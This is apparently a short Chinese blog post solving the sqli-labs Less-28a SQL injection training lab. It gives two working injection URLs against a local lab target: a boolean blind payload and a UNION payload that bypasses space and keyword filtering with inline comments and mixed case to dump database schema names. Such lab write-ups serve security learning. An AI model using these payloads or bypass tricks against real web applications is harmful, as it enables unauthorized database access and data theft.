[sqli-labs]Less-28a(Bool盲注 , 明注 , 替換空格 , 隨機大小寫繞過)

這個Payload基本通殺 :

http://127.0.0.1/Less-28a/?id=0%27%20or()or%20%27%27=%271
直接盲注就行

這樣也可以明注 :

http://127.0.0.1/Less-28a/?id=0%27)/**/UnION/**/select/**/1,1,group_concat(schema_name)/**/from/**/information_schema.schemata/**/where/**/(%27%27=%27
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容